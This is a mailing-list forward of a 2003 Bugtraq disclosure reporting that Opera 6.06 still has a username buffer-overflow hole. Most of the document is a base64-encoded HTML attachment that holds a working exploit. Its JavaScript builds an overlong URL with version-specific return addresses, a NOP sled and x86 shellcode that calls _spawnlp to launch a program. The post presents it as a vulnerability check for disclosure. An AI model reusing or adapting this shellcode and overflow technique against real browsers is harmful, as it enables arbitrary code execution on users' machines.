[NBLUG/talk] [Fwd: Opara 6.06 Released, Security-Hole Left]

[ME]

Some of you use Opera and might want to know about this.
Enjoy,
-ME

---------------------------- Original Message ----------------------------
Subject: Opara 6.06 Released, Security-Hole Left
From:    "nesumin" <nesumin at softhome.net>
Date:    Wed, March 19, 2003 9:55 pm
To:      bugtraq at securityfocus.com
--------------------------------------------------------------------------
Opera Software released Opera 6.06.
However, the security hole that we had released on Feb 9th, 2003
("Opera Username Buffer Overflow Vulnerability"
[http://www.securityfocus.com/archive/1/311194])
has not been fixed yet. Opera 6.06 still has this security hole,
to which we should pay heed.

Here attached an HTML file that you can easily check this vulnerability.
This would run the code that launches the Internet Explorer.
Change file extension to HTML.


--------------------------------------------------
nesumin <nesumin at softhome.net>



------=_20030320155528_58245
Content-Type: application/octet-stream; name="unbof_demo.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="unbof_demo.txt"

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFs
Ly9FTiINCiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvbG9vc2UuZHRkIj4NCjxodG1sIGxh
bmc9ImVuIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1TdHlsZS1UeXBlIiBj
b250ZW50PSJ0ZXh0L2NzcyI+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVNjcmlwdC1UeXBl
IiBjb250ZW50PSJ0ZXh0L2phdmFzY3JpcHQiPg0KPHRpdGxlPk9wZXJhIDYuMDUsIDYuMDYgZm9y
IFdpbmRvd3MgVXNlcm5hbWUgRXhwbG9pdCBEZW1vPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0
L2NzcyI+DQo8IS0tDQpib2R5ew0KZm9udC1zaXplOjEwcHQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAj
MTIxMjUwOw0KY29sb3I6ICNGRkZGRkY7DQp9DQpoMXsNCmNvbG9yOiBibGFjazsNCnRleHQtYWxp
Z246IGNlbnRlcjsNCmJhY2tncm91bmQtY29sb3I6ICNEREQ5RDI7DQpmb250LXNpemU6IDE4cHg7
DQptYXJnaW46IDQwcHggNXB4IDQwcHggNXB4Ow0KZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQpkaXYu
Y29udGVudHsNCm1hcmdpbjogMHB4IDBweCAwcHggMHB4Ow0KcGFkZGluZzogNXB4IDIwcHggMjBw
eCAyMHB4Ow0KfQ0KI21vZGRhdGV7DQp0ZXh0LWFsaWduOiByaWdodDsNCn0NCiNjb3B5cmlnaHR7
DQp0ZXh0LWFsaWduOiBjZW50ZXI7DQpjb2xvcjogI0ZGRkZGRjsNCn0NCiNvdXRsaW5lew0KYmFj
a2dyb3VuZC1jb2xvcjogI0RERDlEMjsNCmNvbG9yOiAjMDAwMDAwOw0KcGFkZGluZzogMjBweDsN
Cm1hcmdpbjogMHB4IDElIDBweCAxJTsNCn0NCi5kdW1wew0KYmFja2dyb3VuZC1jb2xvcjogI0RB
RDVDQjsNCmJvcmRlci1jb2xvcjogI0MyQkRCMjsNCmJvcmRlci13aWR0aDogMnB4Ow0KbWFyZ2lu
OiAxMHB4IDBweCAxMHB4IDBweDsNCnBhZGRpbmc6IDEwcHg7DQpib3JkZXItc3R5bGU6ZG90dGVk
Ow0KfQ0KLnBhcnRzew0KbWFyZ2luOiA1cHggMHB4IDVweCAwcHg7DQp9DQoud29vZHsNCmZvbnQt
c2l6ZToxMHB0Ow0KbWFyZ2luOiA1cHggMHB4IDVweCAwcHg7DQpjb2xvcjogIzc0NTQzQTsNCn0N
Cg0KI2Zvcm0xew0KcGFkZGluZzogMTBweCAxMHB4IDEwcHggMTBweDsNCmJhY2tncm91bmQ6ICNE
REREREQ7DQpib3JkZXItd2lkdGg6IDJweDsNCmJvcmRlci1zdHlsZTogc29saWQ7DQpiYWNrZ3Jv
dW5kLWNvbG9yOiAjREFENUNCOw0KYm9yZGVyLWNvbG9yOiAjQzJCREIyOw0KY29sb3I6ICMwMDA7
DQp9DQotLT4NCjwvc3R5bGU+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5n
dWFnZT0iSmF2YVNjcmlwdCI+DQo8IS0tDQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCiAqDQogKiBPcGVyYSBVc2VybmFtZSBCdWZm
ZXIgT3ZlcmZsb3cgRXhwbG9pdA0KICogdGFyZ2V0OiBvcGVyYSA2LjA1LCA2LjA2IGZvciB3aW5k
b3dzDQogKg0KICogMjAwMy8wMi8wNCAtIGNyZWF0ZQ0KICogMjAwMy8wMy8xMiAtIG1vZGlmeSBj
b2RlDQogKiAyMDAzLzAzLzIwIC0gYWRkIE9wZXJhIDYuMDYNCiAqDQogKiBuZXN1bWluIChuZXN1
bWluQHNvZnRob21lLm5ldCkNCiAqDQogKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKiovDQpmdW5jdGlvbiBieXRlMkhleChjKQ0Kew0KICAg
IHZhciB1ID0gKGMmMHhmZikudG9TdHJpbmcoMTYpOw0KICAgIHJldHVybiAodS5sZW5ndGg9PTEp
PygiMCIgKyB1KToodS5sZW5ndGg9PTApPyIwMCI6dTsNCn0NCg0KLy8gYnl0ZTEsIGJ5dGUyIHRv
IHVuaWNvZGUNCmZ1bmN0aW9uIGJ5dGUyV2lkZShiMSwgYjIpDQp7DQogICAgcmV0dXJuIHVuZXNj
YXBlKCIldSIrYnl0ZTJIZXgoYjEpK2J5dGUySGV4KGIyKSk7DQp9DQoNCi8vIG1ha2UgY29kZQ0K
ZnVuY3Rpb24gbWFrZUNvZGUobGFiZWwscmV0KQ0Kew0KICAgIHZhciByZXRfb2Zmc2V0ID0gMHgw
QTRCIC0gbGFiZWwgKyAxOw0KDQogICAgLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KICAgIHZhciBjb2RlX29mZnNldCA9IDB4MDA2MjsN
CiAgICB2YXIgZmFrZXZhbHVlID0gMHg4MDAwMDAwMTsNCiAgICB2YXIgaSxqOw0KICAgIHZhciBj
b2RlMSA9IG5ldyBBcnJheSgNCiAgICAgICAgLy8gZ2V0IEFQSSBhZGRyZXNzZXMgZnJvbSBpbXBv
cnQgdGFibGUNCiAgICAgICAgMHg4RCwweDZDLDB4MjQsMHhGOCwgICAgICAgICAgICAgICAgLy8g
IGxlYSAgICAgZWJwLFtlc3AtOF0NCiAgICAgICAgMHg4MywweEVDLDB4MTAsICAgICAgICAgICAg
ICAgICAgICAgLy8gIHN1YiAgICAgZXNwLDEwaA0KDQogICAgICAgIDB4MzMsMHhEQiwgICAgICAg
ICAgICAgICAgICAgICAgICAgIC8vICB4b3IgICAgIGVieCxlYngNCiAgICAgICAgMHg0MywgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gIGluYyAgICAgZWJ4DQogICAgICAgIDB4QzEs
MHhFMywweDE2LCAgICAgICAgICAgICAgICAgICAgIC8vICBzaGwgICAgIGVieCwxNmgNCiAgICAg
ICAgMHg4QiwweEQzLCAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gIG1vdiAgICAgZWR4LGVi
eCAgICAgLy8gaW1hZ2ViYXNlIDB4MDA0MDAwMDANCiAgICAgICAgMHgzMywweEM5LCAgICAgICAg
ICAgICAgICAgICAgICAgICAgLy8gIHhvciAgICAgZWN4LGVjeA0KICAgICAgICAweDgwLDB4QzUs
MHgwNSwgICAgICAgICAgICAgICAgICAgICAvLyAgYWRkICAgICBjaCw1ICAgICAgICAvLyBzZXQg
c2VhcmNoIGxpbWl0LCAweDUwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAvL0wxOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gc2VhcmNo
ICIuYXNwYWNrIiBzZWN0aW9uDQogICAgICAgIDB4ODEsMHgzQSwweDJFLDB4NjEsMHg3MywweDcw
LCAgICAgIC8vICBjbXAgICAgIGR3b3JkIHB0ciBbZWR4XSw3MDczNjEyRWggICAvLyIuYXNwIg0K
ICAgICAgICAweDc1LDB4MDksICAgICAgICAgICAgICAgICAgICAgICAgICAvLyAgam5lICAgICBM
Mg0KICAgICAgICAweDgxLDB4N0EsMHgwNCwweDYxLDB4NjMsMHg2QiwweDAwLCAvLyAgY21wICAg
ICBkd29yZCBwdHIgW2VkeCs0XSw2QjYzNjFoICAgLy8iYWNrXDAiDQogICAgICAgIDB4NzQsMHgw
NCwgICAgICAgICAgICAgICAgICAgICAgICAgIC8vICBqZSAgICAgIEwzDQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vTDI6ICAgDQogICAgICAgIDB4NDIsICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vICBpbmMgICAgIGVkeA0KICAgICAgICAweEUy
LDB4RUMsICAgICAgICAgICAgICAgICAgICAgICAgICAvLyAgbG9vcCAgICBMMQ0KICAgICAgICAw
eENDLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyAgaW50ICAgICAzICAgICAgICAg
ICAvLyBzZWFyY2ggZXJyb3INCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgLy9MMzogICANCiAgICAgICAgMHgwMywweDVBLDB4MEMsICAgICAgICAgICAgICAgICAg
ICAgLy8gIGFkZCAgICAgZWJ4LGR3b3JkIHB0ciBbZWR4KzBDaF0gICAgIC8vQmFzZUFkZHJlc3Mg
KyBWaXJ0dWFsQWRkcmVzcyA9IEVudHJ5IFBvaW50IG9mICIuYXNwYWNrIiBzZWN0aW9uDQogICAg
ICAgIDB4NjYsMHg4MSwweEMzLDB4NUMsMHgwRiwgICAgICAgICAgIC8vICBhZGQgICAgIGJ4LDB4
MEY1QyAgICAgICAgICAgICAgICAgICAvL29mZnNldCAweDBGNUMsIEdldFByb2NBZGRyZXNzDQog
ICAgICAgIDB4OEIsMHgwMywgICAgICAgICAgICAgICAgICAgICAgICAgIC8vICBtb3YgICAgIGVh
eCxkd29yZCBwdHIgW2VieF0NCiAgICAgICAgMHg4OSwweDQ1LDB4RjgsICAgICAgICAgICAgICAg
ICAgICAgLy8gIG1vdiAgICAgZHdvcmQgcHRyIFtlYnAtOF0sZWF4DQogICAgICAgIDB4ODMsMHhD
MywweDA0LCAgICAgICAgICAgICAgICAgICAgIC8vICBhZGQgICAgIGVieCw0ICAgICAgICAgICAg
ICAgICAgICAgICAvL29mZnNldCAweDBGNjAsIEdldE1vZHVsZUhhbmRsZUENCiAgICAgICAgMHg4
QiwweDAzLCAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gIG1vdiAgICAgZWF4LGR3b3JkIHB0
ciBbZWJ4XQ0KICAgICAgICAweDg5LDB4NDUsMHhGQywgICAgICAgICAgICAgICAgICAgICAvLyAg
bW92ICAgICBkd29yZCBwdHIgW2VicC00XSxlYXgNCg0KDQogICAgICAgIDB4RUIsMHgzOCwgICAg
ICAgICAgICAgICAgICAgICAgICAgIC8vICBqbXAgICAgIExFTkQNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9MQkVHSU46ICAgDQogICAgICAgIDB4NUIsICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vICBwb3AgICAgIGVieA0KICAgICAgICAweDUz
LCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyAgcHVzaCAgICBlYngNCiAgICAgICAg
MHg4QiwweDQ1LDB4RkMsICAgICAgICAgICAgICAgICAgICAgLy8gIG1vdiAgICAgZWF4LGR3b3Jk
IHB0ciBbZWJwLTRdDQogICAgICAgIDB4RkYsMHhEMCwgICAgICAgICAgICAgICAgICAgICAgICAg
IC8vICBjYWxsICAgIGVheA0KICAgICAgICAweDhCLDB4RDAsICAgICAgICAgICAgICAgICAgICAg
ICAgICAvLyAgbW92ICAgICBlZHgsZWF4DQogICAgICAgIDB4NTIsICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIC8vICBwdXNoICAgIGVkeA0KICAgICAgICAweDgzLDB4QzMsMHgwQiwgICAg
ICAgICAgICAgICAgICAgICAvLyAgYWRkICAgICBlYngsMEJoDQogICAgICAgIDB4NTMsICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIC8vICBwdXNoICAgIGVieA0KICAgICAgICAweDUyLCAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyAgcHVzaCAgICBlZHgNCiAgICAgICAgMHg4
QiwweDQ1LDB4RjgsICAgICAgICAgICAgICAgICAgICAgLy8gIG1vdiAgICAgZWF4LGR3b3JkIHB0
ciBbZWJwLThdDQogICAgICAgIDB4RkYsMHhEMCwgICAgICAgICAgICAgICAgICAgICAgICAgIC8v
ICBjYWxsICAgIGVheA0KICAgICAgICAweDhCLDB4RjAsICAgICAgICAgICAgICAgICAgICAgICAg
ICAvLyAgbW92ICAgICBlc2ksZWF4DQogICAgICAgIDB4NUEsICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIC8vICBwb3AgICAgIGVkeA0KICAgICAgICAweDgzLDB4QzMsMHgwOSwgICAgICAg
ICAgICAgICAgICAgICAvLyAgYWRkICAgICBlYngsOQ0KICAgICAgICAweDUzLCAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAvLyAgcHVzaCAgICBlYngNCiAgICAgICAgMHg1MiwgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgLy8gIHB1c2ggICAgZWR4DQogICAgICAgIDB4OEIsMHg0
NSwweEY4LCAgICAgICAgICAgICAgICAgICAgIC8vICBtb3YgICAgIGVheCxkd29yZCBwdHIgW2Vi
cC04XQ0KICAgICAgICAweEZGLDB4RDAsICAgICAgICAgICAgICAgICAgICAgICAgICAvLyAgY2Fs
bCAgICBlYXgNCiAgICAgICAgMHg4QiwweEY4LCAgICAgICAgICAgICAgICAgICAgICAgICAgLy8g
IG1vdiAgICAgZWRpLGVheA0KICAgICAgICAweDMzLDB4QzAsICAgICAgICAgICAgICAgICAgICAg
ICAgICAvLyAgeG9yICAgICBlYXgsZWF4DQogICAgICAgIDB4NTAsICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIC8vICBwdXNoICAgIGVheA0KICAgICAgICAweDgzLDB4QzMsMHgwNSwgICAg
ICAgICAgICAgICAgICAgICAvLyAgYWRkICAgICBlYngsNQ0KICAgICAgICAweDUzLCAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAvLyAgcHVzaCAgICBlYngNCiAgICAgICAgMHg4MywweEMz
LDB4MTMsICAgICAgICAgICAgICAgICAgICAgLy8gIGFkZCAgICAgZWJ4LDEzaA0KICAgICAgICAw
eDUzLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyAgcHVzaCAgICBlYngNCiAgICAg
ICAgMHg1MywgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gIHB1c2ggICAgZWJ4DQog
ICAgICAgIDB4NDAsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vICBpbmMgICAgIGVh
eA0KICAgICAgICAweDUwLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyAgcHVzaCAg
ICBlYXgNCiAgICAgICAgMHhGRiwweEQ2LCAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gIGNh
bGwgICAgZXNpDQogICAgICAgIDB4MzMsMHhDMCwgICAgICAgICAgICAgICAgICAgICAgICAgIC8v
ICB4b3IgICAgIGVheCxlYXgNCiAgICAgICAgMHg1MCwgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgLy8gIHB1c2ggICAgZWF4DQogICAgICAgIDB4RkYsMHhENyAgICAgICAgICAgICAgICAg
ICAgICAgICAgIC8vICBjYWxsICAgIGVkaQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAvL0xFTkQ6DQogICAgICAgICk7DQogICAgdmFyIGNvZGUyID0gbmV3IEFy
cmF5KDB4RTgsMHhGRiwweEZFLDB4RkYsMHhGRik7Ly8gY2FsbCBMQkVHSU4gICgtMTAwaCkNCg0K
ICAgIHZhciBzdHJpbmcgPSBuZXcgQXJyYXkoIm1zdmNydC5kbGwiLCJfc3Bhd25scCIsImV4aXQi
LCJodHRwOi8vd3d3Lm1zbi5jb20iLCJleHBsb3Jlci5leGUiKTsNCiAgICBmb3IgKGk9MDtpPHN0
cmluZy5sZW5ndGg7KytpKQ0KICAgIHsNCiAgICAgICAgZm9yIChqPTA7ajxzdHJpbmdbaV0ubGVu
Z3RoOysraikNCiAgICAgICAgICAgIGNvZGUyLnB1c2goc3RyaW5nW2ldLmNoYXJDb2RlQXQoaikp
Ow0KICAgICAgICBjb2RlMi5wdXNoKDApOw0KICAgIH0NCiAgICANCiAgICAvLy0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiAgICB2YXIg
YnVmZmVyID0gImh0dHA6Ly8iOw0KICAgIHZhciB0bXAgPSAnJzsNCg0KICAgIC8vIGZpbGwgYnVm
ZmVyDQogICAgZm9yIChpPTA7aTxyZXRfb2Zmc2V0LTE2O2krKykNCiAgICAgICAgYnVmZmVyICs9
ICJcdTAwNDEiOw0KDQogICAgLy8gc2V0IGZha2UgdmFsdWVzDQogICAgZm9yIChpPXJldF9vZmZz
ZXQtMTY7aTxyZXRfb2Zmc2V0LTE7aSs9MikNCiAgICAgICAgYnVmZmVyICs9IGJ5dGUyV2lkZShm
YWtldmFsdWU+Pj44LCBmYWtldmFsdWUpDQogICAgICAgICAgICAgICArICBieXRlMldpZGUoZmFr
ZXZhbHVlPj4+MjQsIGZha2V2YWx1ZT4+PjE2KTsNCg0KICAgIC8vIHNldCByZXQgYWRkcmVzcw0K
ICAgIGJ1ZmZlciArPSBieXRlMldpZGUocmV0Pj4+OCwgcmV0KQ0KICAgICAgICAgICArICBieXRl
MldpZGUocmV0Pj4+MjQsIHJldD4+PjE2KTsNCg0KICAgIC8vIG5vcA0KICAgIGZvciAoaT0wO2k8
MTA7aSsrKQ0KICAgICAgICBidWZmZXIgKz0gIlx1OTA5MCI7DQoNCiAgICAvLyBzZXQgY29kZTEN
CiAgICBmb3IgKGk9MDtpPGNvZGUxLmxlbmd0aC0xO2krPTIpDQogICAgICAgIGJ1ZmZlciArPSBi
eXRlMldpZGUoY29kZTFbaSsxXSwgY29kZTFbaV0pOw0KICAgIGlmIChpPGNvZGUxLmxlbmd0aCkN
CiAgICAgICAgYnVmZmVyICs9IGJ5dGUyV2lkZSgweDkwLCBjb2RlMVtpXSk7DQoNCiAgICAvLyBt
YWtlIGludGVydmFsDQogICAgZm9yIChpPTA7aTxjb2RlX29mZnNldDtpKyspDQogICAgICAgIGJ1
ZmZlciArPSAiXHU5MDkwIjsNCg0KICAgIC8vIHNldCBjb2RlMg0KICAgIGZvciAoaT0wO2k8Y29k
ZTIubGVuZ3RoLTE7aSs9MikNCiAgICAgICAgYnVmZmVyICs9IGJ5dGUyV2lkZShjb2RlMltpKzFd
LCBjb2RlMltpXSk7DQogICAgaWYgKGk8Y29kZTEubGVuZ3RoKQ0KICAgICAgICBidWZmZXIgKz0g
Ynl0ZTJXaWRlKDB4OTAsIGNvZGUyW2ldKTsNCg0KICAgIC8vIGFkZCBmb290ZXINCiAgICBidWZm
ZXIgKz0gIkAvIjsNCiAgICByZXR1cm4gYnVmZmVyOw0KfQ0KDQpmdW5jdGlvbiBkb0V4cGxvaXQo
KQ0Kew0KICAgIHZhciByZXRfNjA1ID0gMHgwMDUzMDU2MzsgLy8gb3BlcmEuZXhlICJGRiBENCIs
IG9wZXJhIDYuMDUgYnVpbGQgMTE0MC4NCiAgICB2YXIgcmV0XzYwNiA9IDB4MDA0RTlCRDc7IC8v
IG9wZXJhLmV4ZSAiRkYgRTQiLCBvcGVyYSA2LjA2IGJ1aWxkIDExNDQuDQoNCiAgICB2YXIgYnVm
ZmVyID0gbWFrZUNvZGUocGFyc2VJbnQoZG9jdW1lbnQuZm9ybTEubGFiZWwudmFsdWUpLA0KICAg
ICAgICAgICAgICAgICAgICAoLTE8bmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCI2LjA1Iikp
P3JldF82MDU6cmV0XzYwNik7DQogICAgaWYgKGJ1ZmZlciAhPSAiIikNCiAgICB7DQogICAgICAg
IGRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBidWZmZXI7DQogICAgfQ0KfQ0KDQp3aW5kb3cub25s
b2FkID0gZnVuY3Rpb24oKQ0Kew0KICAgIHZhciBpLGo7DQogICAgdmFyIHN0ciA9IG5ldyBBcnJh
eSgpOw0KICAgIGZvciAoaSBpbiBsYW5ncykNCiAgICB7DQogICAgICAgIGlmIChzdHJbbGFuZ3Nb
aV1dID09IHVuZGVmaW5lZCkNCiAgICAgICAgICAgIHN0cltsYW5nc1tpXV0gPSBpOw0KICAgICAg
ICBlbHNlDQogICAgICAgICAgICBzdHJbbGFuZ3NbaV1dICs9ICIsICIgKyBpOw0KICAgIH0NCg0K
ICAgIHdpdGggKGRvY3VtZW50LmZvcm0xLmxhYmVsKQ0KICAgIHsNCiAgICAgICAgLy8gbGlzdGlu
Zw0KICAgICAgICBvcHRpb25zLmxlbmd0aCA9IHN0ci5sZW5ndGgrMzsNCiAgICAgICAgZm9yIChq
PTA7ajxzdHIubGVuZ3RoKzM7KytqKQ0KICAgICAgICB7DQogICAgICAgICAgICBvcHRpb25zW2pd
LnZhbHVlID0gajsNCiAgICAgICAgICAgIG9wdGlvbnNbal0udGV4dCA9IGoudG9TdHJpbmcoKTsN
CiAgICAgICAgICAgIGlmIChzdHJbal0gIT0gdW5kZWZpbmVkKQ0KICAgICAgICAgICAgICAgIG9w
dGlvbnNbal0udGV4dCArPSAiICgiICsgc3RyW2pdICsgIikiOw0KICAgICAgICB9DQoNCiAgICAg
ICAgLy8gc2V0IGRlZmF1bHQNCiAgICAgICAgaWYgKGxhbmdzW25hdmlnYXRvci5sYW5ndWFnZV0g
IT0gdW5kZWZpbmVkKQ0KICAgICAgICAgICAgc2VsZWN0ZWRJbmRleCA9IGxhbmdzW25hdmlnYXRv
ci5sYW5ndWFnZV07DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIHNlbGVjdGVkSW5kZXggPSAw
eDA4Ow0KICAgIH0NCn0NCg0KdmFyIGxhbmdzID0gew0KICAgICJqYSI6MHgwYywNCiAgICAiZW4i
OjB4MGUsDQogICAgImFmIjoweDE1LA0KICAgICJiZyI6MHgxMCwNCiAgICAiY2EiOjB4MTIsDQog
ICAgImNzIjoweDE4LA0KICAgICJjeSI6MHgxNCwNCiAgICAiZGEiOjB4MGYsDQogICAgImRlIjow
eDEyLA0KICAgICJlbCI6MHgxNCwNCiAgICAiZW4tR0IiOjB4MGUsDQogICAgImVzIjoweDBkLA0K
ICAgICJlcy1FUyI6MHgwZCwNCiAgICAiZXQiOjB4MTIsDQogICAgImZpIjoweDEzLA0KICAgICJm
ciI6MHgxNywNCiAgICAiZ2QiOjB4MTgsDQogICAgImhlIjoweDAxLA0KICAgICJodSI6MHgxNCwN
CiAgICAiaWQiOjB4MTMsDQogICAgImlzIjoweDBlLA0KICAgICJpdCI6MHgxMSwNCiAgICAia2Ei
OjB4MTksDQogICAgImtvIjoweDBjLA0KICAgICJuYiI6MHgxMSwNCiAgICAibmwiOjB4MTUsDQog
ICAgIm5uIjoweDExLA0KICAgICJwbCI6MHgxMCwNCiAgICAicHQtQlIiOjB4MGIsDQogICAgInJv
IjoweDEwLA0KICAgICJydSI6MHgxNywNCiAgICAic2UiOjB4MTcsDQogICAgInNsIjoweDE1LA0K
ICAgICJzdiI6MHgxMSwNCiAgICAidHIiOjB4MTIsDQogICAgInVhIjoweDE3LA0KICAgICJ6aC1j
biI6MHgwNSwNCiAgICAiemgtdHciOjB4MDgNCn07DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVh
ZD4NCjxib2R5Pg0KPGRpdiBpZD0ib3V0bGluZSI+DQo8ZGl2IGlkPSJtb2RkYXRlIj5Nb2RpZmll
ZIFGMjAwMy8wMy8yMDwvZGl2Pg0KPGgxPk9wZXJhIDYuMDUsIDYuMDYgZm9yIFdpbmRvd3MgVXNl
cm5hbWUgRXhwbG9pdCBERU1PPC9oMT4NCjxkaXY+DQo8YnI+DQpUaGlzIERFTU8gd291bGQgcnVu
IHRoZSBjb2RlIHRoYXQgbGF1bmNoZXMgdGhlIEludGVybmV0IEV4cGxvcmVyPGJyPg0Kb24gT3Bl
cmEgNi4wNSwgNi4wNiBieSBleHBsb2l0aW5nICJPcGVyYSBVc2VybmFtZSBCdWZmZXIgT3ZlcmZs
b3cgVnVsbmVyYWJpbGl0eSIuPC9kaXY+DQo8YnI+DQo8YnI+DQo8Zm9ybSBpZD0iZm9ybTEiIG5h
bWU9ImZvcm0xIiBhY3Rpb249IiI+DQo8ZGl2IGNsYXNzPSJwYXJ0cyI+DQpMYW5ndWFnZSBGaWxl
Og0KPHNlbGVjdCBuYW1lPSJsYWJlbCI+DQo8b3B0aW9uPl9fX19fX19fUGxlYXNlX2VuYWJsZV9K
YXZhU2NyaXB0X19fX19fX18NCjwvc2VsZWN0PiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KPGlu
cHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IiAgIEV4ZWN1dGUgICAiIE9uQ2xpY2s9ImRvRXhwbG9p
dCgpIj4NCjwvZGl2Pg0KPC9mb3JtPg0KPGJyPg0KPGRpdiBjbGFzcz0iZHVtcCI+DQo8Yj5MYW5n
dWFnZSBGaWxlPC9iPiAtIFNlbGVjdCB5b3VyIGxhbmd1YWdlIGZpbGUgKGF1dG8gZGV0ZWN0KTxi
cj4NCjxiPkV4ZWN1dGU8L2I+IC0gRG8gZXhwbG9pdDxicj4NCjwvZGl2Pg0KPGJyPg0KPGRpdiBj
bGFzcz0iY29udGVudCI+DQpJZiAiRW5jb2RlIGFsbCBhZGRyZXNzZXMgd2l0aCBVVEYtOCIgaXMg
ZGlzYWJsZWQsIHRoaXMgY29kZSB3b3VsZCBub3Qgd29yayByaWdodC48YnI+DQpCdXQgaXQgPGI+
ZG9lc24ndDwvYj4gbWVhbiAic2FmZSIuPGJyPg0KSmF2YVNjcmlwdCBoZXJlIGdlbmVyYXRlcyBh
IFVSTCB0aGF0IGluY2x1ZGVzIEV4cGxvaXQgY29kZSBmb3IgYSBkZW1vbnN0cmF0aW9uLjxicj4N
CkFsdGhvdWdoLCB0aGlzIHZ1bG5lcmFiaWxpdHkgaXNuJ3QgcmVsZWF0ZWQgd2l0aCBKYXZhU2Ny
aXB0IGl0c2VsZi4NCjwvZGl2Pg0KPHVsPg0KPGxpPlRoaXMgcHJvZ3JhbSBpcyBvbmx5IGZvciBj
aGVja2luZyB2dWxuZXJhYmlsaXR5Lg0KPGxpPldlIHdpbGwgdGFrZSBubyByZXNwb25zaWJpbGl0
eSBmb3IgYW55IGtpbmRzIG9mIGRpc2FkdmFudGFnZXMgYnkgdXNpbmcgdGhpcyBjb2RlLg0KPGxp
PkRvIG5vdCBjb3B5IHRoaXMgcHJvZ3JhbS4NCjwvdWw+DQo8L2Rpdj4NCjxicj4NCjxkaXYgaWQ9
ImNvcHlyaWdodCI+Q29weXJpZ2h0IChDKSAyMDAzIDo6IE9wZXJhc2ggOjo8L2Rpdj4NCjxicj4N
CjwvYm9keT4NCjwvaHRtbD4NCg==